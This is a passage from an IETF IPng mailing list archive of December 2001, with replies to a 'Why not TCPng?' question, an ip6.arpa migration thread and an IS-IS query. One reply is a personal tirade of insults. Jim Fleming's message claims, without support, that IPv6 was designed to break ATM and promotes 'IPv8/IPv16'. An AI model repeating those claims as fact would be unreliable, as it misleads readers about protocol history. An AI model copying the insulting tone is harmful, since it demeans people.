18:40:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB42e5Ht001769 for ; Mon, 3 Dec 2001 18:40:05 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA29491 for ; Mon, 3 Dec 2001 18:40:03 -0800 (PST) Received: from malone.cisco.com (malone.cisco.com [171.70.157.157]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA12998 for ; Mon, 3 Dec 2001 19:40:02 -0700 (MST) Received: from GTAPLEY-W2K.cisco.com (rtp-vpn2-96.cisco.com [10.82.240.96]) by malone.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id SAA13470; Mon, 3 Dec 2001 18:39:52 -0800 (PST) Message-Id: <4.3.2.7.2.20011203213043.01f46b88@malone.cisco.com> X-Sender: gtapley@malone.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 03 Dec 2001 21:39:48 -0500 To: ryan elson From: Glenn Tapley Subject: Re: Why not TCPng? Cc: "ipng@sunroof.eng.sun.com" In-Reply-To: <3C0C34D0.7B695475@cgocable.net> References: <024201c17c69$49135aa0$7207e29f@cnniczh> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Ryan, You arrogant putz! How dare you be so rude? I have read your rants without comment or criticism for all this time, but this reply of yours was unforgivably rude! I can only assume from the maturity of your messages that you are no older than 12. Even teenagers have more class than you. Could you respond to Zhang in Mandarin? Would your use of that language be so fluent that it would pass the inspection of some tiny minded cretin lurking on the list? From this point forward any and all messages with your name in any header will go directly to my trash folder to be automatically deleted. I have already done the same for any and all messages with Jim Fleming. You are beneath contempt and not worth the bandwidth for your messages. gpt At 09:28 PM 12/3/2001 -0500, ryan elson wrote: >Forgive me my ignorant? Is that a question? > >zhang hong wrote: > > > Hello! > > I'm studying IPv6 and there is a question haunting around me. IPv6 is > > created to solve the deficiency of IPv4. While AFAIK, there are also some > > shortage in current TCP/UDP which is the upper layer of IP. But I only see > > the IPng, why no one touch TCPng or UDPng? There must be some reason for it > > which I don't know. Can some one kindly enough to tell me why? > > Forgive me my ignorant. : ) > > > > Best regards > > Zhang Hong > > Glenn Tapley, CCNP-Voice, CCDP GTapley@cisco.com Certified Cisco Systems Instructor Yahoo!: CiscoGlenn Technical Education Consultant Fone: 407.695.2327 Internet Learning Solutions Group eFax: 781.846.8516 Cisco Systems, Inc. http://www.cisco.com Purgamentum init - exit purgamentum! "One day, training for every job on Earth will be available on the Internet. Are you ready?" http://www.cisco.com/go/elearning/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 19:02:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB432BHt001824 for ; Mon, 3 Dec 2001 19:02:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB432BQl001823 for ipng-dist; Mon, 3 Dec 2001 19:02:11 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4327Ht001816 for ; Mon, 3 Dec 2001 19:02:07 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA01995 for ; Mon, 3 Dec 2001 19:02:08 -0800 (PST) Received: from berkshire.research.att.com (union1UBR1-5-hfc-0252-40e84946.rdc1.nj.comcastatwork.com [64.232.73.70]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA06828 for ; Mon, 3 Dec 2001 19:02:07 -0800 (PST) Received: from research.att.com (localhost [127.0.0.1]) by berkshire.research.att.com (Postfix) with ESMTP id 5ED927B55; Mon, 3 Dec 2001 22:02:09 -0500 (EST) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 From: "Steven M. Bellovin" To: ryan elson Cc: "ipng@sunroof.eng.sun.com" Subject: Re: Why not TCPng? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 03 Dec 2001 22:02:09 -0500 Message-Id: <20011204030209.5ED927B55@berkshire.research.att.com> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In message <3C0C34D0.7B695475@cgocable.net>, ryan elson writes: >Forgive me my ignorant? Is that a question? > And your Chinese is error-free? --Steve Bellovin, http://www.research.att.com/~smb Full text of "Firewalls" book now at http://www.wilyhacker.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 19:18:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB43IJHt001872 for ; Mon, 3 Dec 2001 19:18:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB43IJ27001871 for ipng-dist; Mon, 3 Dec 2001 19:18:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB43IGHt001864 for ; Mon, 3 Dec 2001 19:18:16 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA08236 for ; Mon, 3 Dec 2001 19:18:17 -0800 (PST) Received: from quartz.bos.dyndns.org (quartz.bos.dyndns.org [66.37.218.198]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA17792 for ; Mon, 3 Dec 2001 19:18:16 -0800 (PST) Received: from ender (CPE0000c5735e96.cpe.net.cable.rogers.com [24.42.252.31]) by quartz.bos.dyndns.org (8.11.5/8.11.5) with ESMTP id fB43IEJ12143 for ; Mon, 3 Dec 2001 22:18:14 -0500 (EST) Message-ID: <015f01c17c72$5283f460$6601a8c0@ender> From: "Wojtek Zlobicki" To: References: <20011204030209.5ED927B55@berkshire.research.att.com> Subject: Re: Why not TCPng? Date: Mon, 3 Dec 2001 22:18:18 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I think that a lot less people want to mess with TCP (partially due to the fact that they do not understand it as well). TCP is still a very misunderstood protocol. TCP and IP also compromise people from two different camps (they guys that speak IP may not really know a great deal about TCP). Routing and TCP have little to do with one another (they do rely on one another but there is a lot of obstruction between the layers). A lot of issues such as interoperability are much harder to deal with at the higher layers. Not only will TCP need to be re-written, but so will many applications (so that they can deal with the IPv6 address format). Please ignore people like Ryan. Your English is better than what I see from native English speakers on some mailing lists. Here is a link that you may find interesting (found by searching for TCPNG on google) http://www.ietf.org/proceedings/94dec/tsv/tcpng.html > Hello! > I'm studying IPv6 and there is a question haunting around me. IPv6 is > created to solve the deficiency of IPv4. While AFAIK, there are also some > shortage in current TCP/UDP which is the upper layer of IP. But I only see > the IPng, why no one touch TCPng or UDPng? There must be some reason for it > which I don't know. Can some one kindly enough to tell me why? > Forgive me my ignorant. : ) > > > Best regards > Zhang Hong > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 19:45:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB43jKHt001902 for ; Mon, 3 Dec 2001 19:45:20 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB43jJat001901 for ipng-dist; Mon, 3 Dec 2001 19:45:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB43jGHt001894 for ; Mon, 3 Dec 2001 19:45:16 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA18958 for ; Mon, 3 Dec 2001 19:45:13 -0800 (PST) Received: from whale.cnnic.net.cn ([159.226.6.187]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA17382 for ; Mon, 3 Dec 2001 19:45:12 -0800 (PST) Received: from cnniczh ([159.226.7.114]) by whale.cnnic.net.cn (Netscape Messaging Server 4.15) with SMTP id GNSVTC00.RQ9 for ; Tue, 4 Dec 2001 11:46:24 +0800 Message-ID: <048301c17c76$354a9530$7207e29f@cnniczh> Reply-To: "zhang hong" From: "zhang hong" To: References: <20011204030209.5ED927B55@berkshire.research.att.com> <015f01c17c72$5283f460$6601a8c0@ender> Subject: Re: Why not TCPng? Date: Tue, 4 Dec 2001 11:46:08 +0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thank you! Thanks for all the people who really want to help others! Best regards Zhang hong ----- Original Message ----- From: "Wojtek Zlobicki" To: Sent: Tuesday, December 04, 2001 11:18 AM Subject: Re: Why not TCPng? > I think that a lot less people want to mess with TCP (partially due to the > fact that they do not understand it as well). TCP is still a very > misunderstood protocol. TCP and IP also compromise people from two > different camps (they guys that speak IP may not really know a great deal > about TCP). Routing and TCP have little to do with one another (they do > rely on one another but there is a lot of obstruction between the layers). A > lot of issues such as interoperability are much harder to deal with at the > higher layers. Not only will TCP need to be re-written, but so will many > applications (so that they can deal with the IPv6 address format). > > Please ignore people like Ryan. Your English is better than what I see from > native English speakers on some mailing lists. > > Here is a link that you may find interesting (found by searching for TCPNG > on google) > > http://www.ietf.org/proceedings/94dec/tsv/tcpng.html > > > > > Hello! > > I'm studying IPv6 and there is a question haunting around me. IPv6 is > > created to solve the deficiency of IPv4. While AFAIK, there are also some > > shortage in current TCP/UDP which is the upper layer of IP. But I only see > > the IPng, why no one touch TCPng or UDPng? There must be some reason for > it > > which I don't know. Can some one kindly enough to tell me why? > > Forgive me my ignorant. : ) > > > > > > Best regards > > Zhang Hong > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 20:07:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4478Ht001929 for ; Mon, 3 Dec 2001 20:07:08 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB44782N001928 for ipng-dist; Mon, 3 Dec 2001 20:07:08 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4470Ht001913; Mon, 3 Dec 2001 20:07:00 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA06709; Mon, 3 Dec 2001 20:07:01 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA22035; Mon, 3 Dec 2001 21:07:31 -0700 (MST) Received: from localhost ([3ffe:501:100f:10c1:e572:7e59:6522:18d2]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fB446r338578; Tue, 4 Dec 2001 13:06:54 +0900 (JST) Date: Tue, 04 Dec 2001 13:06:52 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Randy Bush Cc: ipng@sunroof.eng.sun.com, dnsop@cafax.se, ngtrans@sunroof.eng.sun.com Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? In-Reply-To: References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011128083531.C4C631090@postfix1.uni-muenster.de> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 38 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 03 Dec 2001 05:31:39 -0800, >>>>> Randy Bush said: >> Anyway, through the responses so far, I feel we must definitely move >> to ip6.arpa. (regardless of the bitstring vs nibble issue). The >> migration should cause additional pain to deploy IPv6, but, with the >> reality, we should start the migration now... > agreed. but the pain is minimal. Since resolver implementations that do not use ip6.arpa have been widely deployed, I don't think the pain is minimal. I'm afraid we should maintain both ip6.arpa. and ip6.int. for same contents forever. But..., > note that, initially, the content of > ip6.arpa is directly that of ip6.int. in fact, one could have the same > zone file pointed to by both names. yes, that's the way that I configured ip6.arpa zones in my v6 network. > the big pain in the transition is > that of the registries, whois, etc. and they've been working on this > for some months. I know, I realized some portion of the ip6.arpa (nibble) domain has already been delegated. So, while I still don't think the migration overhead is minimal, it seems to me that all I have to do now is to implement new resolver code, deploy it, and start operation with ip6.arpa. If the migration is inevitable, we cannot delay it. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 20:32:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB44WgHt001969 for ; Mon, 3 Dec 2001 20:32:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB44Wg2O001968 for ipng-dist; Mon, 3 Dec 2001 20:32:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.86.31] (may be forged)) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB44WYHt001953; Mon, 3 Dec 2001 20:32:34 -0800 (PST) Received: from marlin.sun.com (vpn-129-150-4-122.EBay.Sun.COM [129.150.4.122]) by jurassic.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB44WZEu947370; Mon, 3 Dec 2001 20:32:36 -0800 (PST) Message-Id: <5.1.0.14.0.20011203202650.076c4a60@jurassic.eng.sun.com> X-Sender: durand@jurassic.eng.sun.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 03 Dec 2001 20:33:34 -0800 To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= , Randy Bush From: Alain Durand Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? Cc: ipng@sunroof.eng.sun.com, dnsop@cafax.se, ngtrans@sunroof.eng.sun.com In-Reply-To: References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011128083531.C4C631090@postfix1.uni-muenster.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 01:06 PM 12/4/2001 +0900, JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= wrote: >So, while I still don't think the migration overhead is minimal, it >seems to me that all I have to do now is to implement new resolver >code, deploy it, and start operation with ip6.arpa. If the migration >is inevitable, we cannot delay it. The earlier the better. - Alain. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 21:48:14 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB45mEHt002050 for ; Mon, 3 Dec 2001 21:48:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB45mE4w002049 for ipng-dist; Mon, 3 Dec 2001 21:48:14 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB45mAHt002042 for ; Mon, 3 Dec 2001 21:48:11 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA18146 for ; Mon, 3 Dec 2001 21:48:11 -0800 (PST) Received: from pdxpo.dsl-only.net (sub16-3.member.dsl-only.net [63.105.16.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA07962 for ; Mon, 3 Dec 2001 22:48:10 -0700 (MST) Received: from bonfire (unverified [63.105.18.201]) by pdxpo.dsl-only.net (Rockliffe SMTPRA 4.5.4) with SMTP id ; Mon, 3 Dec 2001 21:39:44 -0800 From: "Bill Strahm" To: "zhang hong" Cc: Subject: RE: Why not TCPng? Date: Mon, 3 Dec 2001 21:54:25 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <024201c17c69$49135aa0$7207e29f@cnniczh> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have seen all of the various ranting and raving that your request causes... I would rather turn your question back on itself... You state that "While AFAIK, there are also some shortage in current TCP/UDP which is the upper layer of IP". Can I ask you what these shortages are, how they are affecting your applications, and how you would solve the problems ? If you can answer that question you are well on the path of creating a TCPng WG, until you have those questions answered, you are asking an impossible question. Nothing is perfect, everything is a tradeoff. Bill -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of zhang hong Sent: Monday, December 03, 2001 6:14 PM To: ipng@sunroof.eng.sun.com Subject: Why not TCPng? Hello! I'm studying IPv6 and there is a question haunting around me. IPv6 is created to solve the deficiency of IPv4. While AFAIK, there are also some shortage in current TCP/UDP which is the upper layer of IP. But I only see the IPng, why no one touch TCPng or UDPng? There must be some reason for it which I don't know. Can some one kindly enough to tell me why? Forgive me my ignorant. : ) Best regards Zhang Hong -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 22:17:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46HxHt002072 for ; Mon, 3 Dec 2001 22:17:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB46HxNE002071 for ipng-dist; Mon, 3 Dec 2001 22:17:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46HtHt002064 for ; Mon, 3 Dec 2001 22:17:55 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA01596 for ; Mon, 3 Dec 2001 22:17:56 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA08433 for ; Mon, 3 Dec 2001 22:17:56 -0800 (PST) Received: from ipv16 (as1-98.chi.il.dial.anet.com [198.92.156.98]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id AAA19875; Tue, 4 Dec 2001 00:17:51 -0600 (CST) Message-ID: <05e101c17c8d$2da67080$a300a8c0@ipv16> From: "Jim Fleming" To: "zhang hong" , References: <024201c17c69$49135aa0$7207e29f@cnniczh> Subject: Why IPv6 ?....Re: Why not TCPng? Date: Tue, 4 Dec 2001 00:30:31 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "zhang hong" To: Sent: Monday, December 03, 2001 8:13 PM Subject: Why not TCPng? > Hello! > I'm studying IPv6 and there is a question haunting around me. IPv6 is > created to solve the deficiency of IPv4. While AFAIK, there are also some > shortage in current TCP/UDP which is the upper layer of IP. But I only see > the IPng, why no one touch TCPng or UDPng? There must be some reason for it > which I don't know. Can some one kindly enough to tell me why? > Forgive me my ignorant. : ) > > TCP and UDP may not be as large a problem as protocols above those in the stack, such as FTP which has direct 32-bit IP address and 16-bit port knowledge. As for why IPv6.?...IPv6 was created by people with many agendas. In one case, it appears that some of the people wanted to make sure that ATM breaks. The size of the IPv6 header was selected to make the use of ATM inefficient. IPv6 advocates refer to ATM as "Another Terrible Mistake". Apparently the engineers wanted to attempt to derail the ATM market. I guess they were railroad engineers, not Internet engineers. It is somewhat ironic that IPv6 people would advocate that a fixed size header makes for efficient hardware processing. That is exactly why ATM designers opted for the small, fixed-size, ATM cell size. IPv4, IPv5, IPv7, IPv8 and IPv16 are of course better matched to the ATM cell size, with the 20 byte headers, and the ability to put 2 headers inside of a 48-byte ATM payload, and still have room for some data. Jim Fleming http://www.dot-biz.com/IPv4/Tutorial/ http://www.IPv8.info IPv16....One Better !! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 22:22:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46MhHt002089 for ; Mon, 3 Dec 2001 22:22:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB46Mhp8002088 for ipng-dist; Mon, 3 Dec 2001 22:22:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46MeHt002081 for ; Mon, 3 Dec 2001 22:22:40 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA05771 for ; Mon, 3 Dec 2001 22:22:41 -0800 (PST) Received: from mailweb12.rediffmail.com ([203.199.83.24]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id XAA29107 for ; Mon, 3 Dec 2001 23:22:22 -0700 (MST) Received: (qmail 24381 invoked by uid 510); 4 Dec 2001 06:21:41 -0000 Date: 4 Dec 2001 06:21:41 -0000 Message-ID: <20011204062141.24379.qmail@mailweb12.rediffmail.com> Received: from unknown (203.197.138.201) by rediffmail.com via HTTP; 04 Dec 2001 06:21:41 -0000 MIME-Version: 1.0 From: "aridaman kaushik" Reply-To: "aridaman kaushik" To: ipng@sunroof.eng.sun.com Subject: isis route prefernece Content-type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fB46MeHt002082 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk hi all, I hope, anyone would clarify my doubt regarding ipv6 route prefernece in isis. in draft draft-isis-ipv6-02.txt, route preference is given like this(from best to worst). 1. level1 up 2. level2 up 3. level2 down 4. level1 down What is meaning of up/down here. we can assume that level2 down means l2 to l1 leaked route. but what is the meaning of l1 down thanks in advance ari -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 22:27:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46RoHt002111 for ; Mon, 3 Dec 2001 22:27:50 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB46Ro2w002110 for ipng-dist; Mon, 3 Dec 2001 22:27:50 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46RkHt002103 for ; Mon, 3 Dec 2001 22:27:46 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA23089 for ; Mon, 